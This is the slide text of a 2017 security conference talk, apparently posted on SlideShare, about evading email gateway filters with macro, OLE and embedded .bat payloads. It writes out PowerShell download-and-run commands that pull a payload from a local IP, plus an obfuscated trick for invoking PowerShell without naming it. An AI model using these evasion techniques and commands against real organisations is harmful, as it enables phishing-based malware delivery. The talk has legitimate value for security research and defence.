SlideShare a Scribd company logo
1 of 214
Neil Lines - Pen Tester
Involved in a wide range of security
testing.
Social Engineering (SE) is my favourite!
enemies of the west..
How to bypass email
gateways using Common
Payloads…
Chapter 0ne
Payloads…
Common SE Payloads
Macro payload
What is a Macro?
A macro is a series of commands
and instructions that you group
together as a single command to
accomplish a task automatically.
How can you use it?
Legitimate
functionality can be
used maliciously…
Macros can be used
for remote access…
OLE payload
What is an OLE?
Object Linking and Embedding
(OLE) is a proprietary technology
developed by Microsoft that allows
embedding and linking to
documents and other objects.
How can you use it?
OLE can be used for
remote access…
Recently A lot of talk
about OLE
Days been numbered
I will look at that
later…
Both macro and ole
require user input to
trigger…
macro
OLE
OLE seem to be less
common…
How can you create
these payloads?
unicorn
Written by: Dave
Kennedy
@HackingDave
Unicorn payloads use
PowerShell
And MSF
Lets have a demo…
Vid 1. Macro, OLE, UNC
I use these payloads
And the following
Cisco’s ironport
Symantec Email
Security cloud
clearswift email
gateway
mcafee email
gateway
Are good at blocking ole and macro’s!
A Quick look
At what mail
gateways block…
Commonly
generated
Word macros
Ole payloads
They also block
Anything created by
other Common
framework
msf / unicorn
Cve-2017-0199
Office documents
containing .exe
referencing
PowerShell
From experience
Of testing
some environments
just block all
attachments
And manually review
them!
?
Now the fun stuff…
1st off
they are all good
products
Defence in depth you
need them!
but how do they
work?
They kind of work
like AV…
Signatures…
Now they commonly
say they don’t
Use Signatures…
How did I conclude
Clearswift
Cisco’s ironport
Symantec
Mcafee
email gateway
use signatures
I started looking at
macros
Which I discovered is
a bad place to start
Macros are very
common
And mail gateways
great at spotting
them
But an interesting
find!
A common macro
payload
kddCLIsrlIJ = "p" & "o" &
"w" & "e" & "r" & "s" &
"h" & "e" & "l" & "l" & "."
& "e" & "x" & "e" & " "
If you delete
And then add the
macro to word…
Deliver
It gets blocked
Same macro
Saved in excel
Gets delivered
Symantec
and
clearswift
But blocked by
mcafee
different office
documents = different
results…
Time for different
approach
Lets Start by looking at a
common ole email
payload…
Object Linking and
Embedding (OLE)
OLE commonly consists of
an embedded windows
shortcut…
The shortcut
References PowerShell
C:Windowssystem32WindowsPo
werShellv1.0powershell.exe -exec
bypass -c "IEX (new-object
system.net.webclient).downloadstri
ng('http://192.168.1.8/payload')"
So do
Common
email gateway security
appliances
Catch the above OLE
payload?
So how can you get
round this?
Remembering the
appliances are signature
based
Lets see what they
appeared to detect…
C:Windowssystem32WindowsPo
werShellv1.0powershell.exe -exec
bypass -c "IEX (new-object
system.net.webclient).downloadstri
ng('http://192.168.1.8/payload')"
C:WindowsSystem32mspaint.exe
-exec bypass -c "IEX (new-object
system.net.webclient).downloadstri
ng('http://192.168.1.8/payload')"
Save and email…
And wait 15 mins…
Delivered…
Win!
Back to research
So I download
Symantec Email
Security cloud
Sales PDF
https://www.symantec.com/content/dam/symantec/docs/data-
sheets/atp-email-en.pdf
Insinuating don’t use
signatures?
But if you swap
A signature correlating word with
a none correlating signature word
your payload gets delivered?
Signature confusion
So what have we
learned?
Email gateways
consider
PowerShell as
Malicious
And what did I
learn?
swapping PS with
Mspaint
Results in a?
payload that
attempts to start
mspaint
Get confused then
close with an error
Pro Winning!
But it was a
useful as a
poc!
So lets relook
C:Windowssystem32WindowsPowe
rShellv1.0powershell.exe -exec
bypass -c
powershell.exe -exec bypass -c
"p""o""w""e""r""s""h""e""l"
"l"".""e""x""e"
Still got caught…
So I called a friend
@scriptmonkey_
“I want to call PS
without calling PS”
He replied with
this…
start
%allusersprofile:~3,1%%alluserspr
ofile:~5,1%%windir:~3,1%%localap
pdata:~5,2%%windir:~9,1%he%loc
alappdata:~-1%%localappdata:~-
1%
What the hell does
that do?
Vid. 2
Great so we can now
call PS on the sly…
But does it slip past
the email gateways?
Make the shortcut
for the OLE…
start
%allusersprofile:~3,1%%allusersprofile:~5,1%
%windir:~3,1%%localappdata:~5,2%%windir:~
9,1%he%localappdata:~-1%%localappdata:~-
1% -exec bypass -c "IEX (new-object
system.net.webclient).downloadstring('http://
192.168.1.8/test')"
But the
Shortcut
Idea is
a No go!
Who’s idea was it to set a
260 character limit on
shortcuts!
Like seriously
Your busy writing
simulated malware
And someone slaps you
right back!
an email proxy laughs at me
So shortcuts have limits…
Roll on
the bat
Chapter 2
But can you even email a
.bat file?
Sending
Receiving
Outlook blocked access to
the following potentially
unsafe attachments…
No you cant directly
email a .bat
But you can embedded
one into an office
document
;0)
And email that
Powerbat
How to embed it?
Initially I
came up with the
following horrid solution
Warning
If you have any sense of
style or pride in your
work
Please look away
Vid 3 how not to embed
So I emailed it…
Via the email gateways
did it get delivered?
Delivered
So Was it the obfuscation?
So I retried with
C:Windowssystem32WindowsP
owerShellv1.0powershell.exe -
exec bypass -c "IEX (new-object
system.net.webclient).downloadst
ring('http://192.168.1.20/powersh
ell_attack.txt')"
And I embedded it in the
typical way
So no obfuscation
Only difference between
this and a typical OLE
Shortcut replaced with a
.bat
Sent
Delivered…
Same PowerShell request
different medium gets
through
13 Jul 2017
21 Jul 2017
Microsoft Office for
Windows released in
October 1990
Waits 27 years to block
.bat files
And then does it
14 days after I discover
Coincidence? :0)
Tweets suggest office365
is now blocking OLE!
Blocks will filter down in
Updates to all versions of
Office…
Is The
OLE dead?
I wanted to play so
needed to update office
So how do you update
Office?
Office
2010
You receive updates:
Managed by your systems
administrator
2017 we still find missing
ms08-067
Cynic in me thinks,
update office?
Office 2010 still common
Support ended oct 2015
So no updates!
So OLE is not
dead!
So why does it happen…
Chapter 3
I still think email
gateways use signatures…
Look for typical, macros,
OLE (shortcuts)…
And Either doesn’t think
about.bat files or assumes
outlook will blocks them…
Talks on AV bypass have
taught me change the
language
And things slip past…
Conclusion: My theory and practical
experience was that AV vendors are
looking at the templates rather than
the shellcode itself.
https://www.blackhillsinfosec.com/modifying-
metasploit-x64-template-for-av-evasion/
Seems email proxies are
the same!
Chapter 4
The final dance…
What is a .bat file?
lots of scripting languages
changing the language
changes the template
and
Things slip past
Any questions
myexploit2600

More Related Content

What's hot (10)

Thane Barnier MACE 2016 presentation
Thane Barnier MACE 2016 presentationThane Barnier MACE 2016 presentation
Thane Barnier MACE 2016 presentation
 
fireeye-hot-knives-through-butter(1)
fireeye-hot-knives-through-butter(1)fireeye-hot-knives-through-butter(1)
fireeye-hot-knives-through-butter(1)
 
InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0InnoTech 2017_Defend_Against_Ransomware 3.0
InnoTech 2017_Defend_Against_Ransomware 3.0
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Hacker halted2
Hacker halted2Hacker halted2
Hacker halted2
 
Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...Windows 8. important considerations for computer forensics and electronic dis...
Windows 8. important considerations for computer forensics and electronic dis...
 
Thou shalt not
Thou shalt notThou shalt not
Thou shalt not
 
File inflection techniques
File inflection techniquesFile inflection techniques
File inflection techniques
 
Notes to The Ten Commandments of Online Security and Privacy
Notes to The Ten Commandments of Online Security and PrivacyNotes to The Ten Commandments of Online Security and Privacy
Notes to The Ten Commandments of Online Security and Privacy
 
News bytes Oct-2011
News bytes  Oct-2011News bytes  Oct-2011
News bytes Oct-2011
 

Similar to How to bypass email gateways using common payloads... Bsides Manchester 2017

Designing A Project Using Java Programming
Designing A Project Using Java ProgrammingDesigning A Project Using Java Programming
Designing A Project Using Java Programming
Katy Allen
 
Exploit Frameworks
Exploit FrameworksExploit Frameworks
Exploit Frameworks
phanleson
 

Similar to How to bypass email gateways using common payloads... Bsides Manchester 2017 (20)

Bad winmail
Bad winmailBad winmail
Bad winmail
 
C# Security Testing and Debugging
C# Security Testing and DebuggingC# Security Testing and Debugging
C# Security Testing and Debugging
 
Exploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version EnglishExploit ie using scriptable active x controls version English
Exploit ie using scriptable active x controls version English
 
Designing A Project Using Java Programming
Designing A Project Using Java ProgrammingDesigning A Project Using Java Programming
Designing A Project Using Java Programming
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
 
Lotusphere 2007 AD507 Leveraging the Power of Object Oriented Programming in ...
Lotusphere 2007 AD507 Leveraging the Power of Object Oriented Programming in ...Lotusphere 2007 AD507 Leveraging the Power of Object Oriented Programming in ...
Lotusphere 2007 AD507 Leveraging the Power of Object Oriented Programming in ...
 
We continue checking Microsoft projects: analysis of PowerShell
We continue checking Microsoft projects: analysis of PowerShellWe continue checking Microsoft projects: analysis of PowerShell
We continue checking Microsoft projects: analysis of PowerShell
 
Overview of CSharp MVC3 and EF4
Overview of CSharp MVC3 and EF4Overview of CSharp MVC3 and EF4
Overview of CSharp MVC3 and EF4
 
New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIA2 Roads to Redemption - Thoughts on XSS and SQLIA
2 Roads to Redemption - Thoughts on XSS and SQLIA
 
Exploit Frameworks
Exploit FrameworksExploit Frameworks
Exploit Frameworks
 
Node.js: A Guided Tour
Node.js: A Guided TourNode.js: A Guided Tour
Node.js: A Guided Tour
 
A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!A client-side vulnerability under the microscope!
A client-side vulnerability under the microscope!
 
6 ways to hack your JavaScript application by Viktor Turskyi
6 ways to hack your JavaScript application by Viktor Turskyi   6 ways to hack your JavaScript application by Viktor Turskyi
6 ways to hack your JavaScript application by Viktor Turskyi
 
Java Programming
Java ProgrammingJava Programming
Java Programming
 
The Anatomy of Java Vulnerabilities (Devoxx UK 2017)
The Anatomy of Java Vulnerabilities (Devoxx UK 2017)The Anatomy of Java Vulnerabilities (Devoxx UK 2017)
The Anatomy of Java Vulnerabilities (Devoxx UK 2017)
 
Production Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyProduction Debugging at Code Camp Philly
Production Debugging at Code Camp Philly
 
TCP Sockets Tutor maXbox starter26
TCP Sockets Tutor maXbox starter26TCP Sockets Tutor maXbox starter26
TCP Sockets Tutor maXbox starter26
 
Espressif IoT Development Framework: 71 Shots in the Foot
Espressif IoT Development Framework: 71 Shots in the FootEspressif IoT Development Framework: 71 Shots in the Foot
Espressif IoT Development Framework: 71 Shots in the Foot
 
War of the Machines: PVS-Studio vs. TensorFlow
War of the Machines: PVS-Studio vs. TensorFlowWar of the Machines: PVS-Studio vs. TensorFlow
War of the Machines: PVS-Studio vs. TensorFlow
 

Recently uploaded

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Recently uploaded (20)

Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 

How to bypass email gateways using common payloads... Bsides Manchester 2017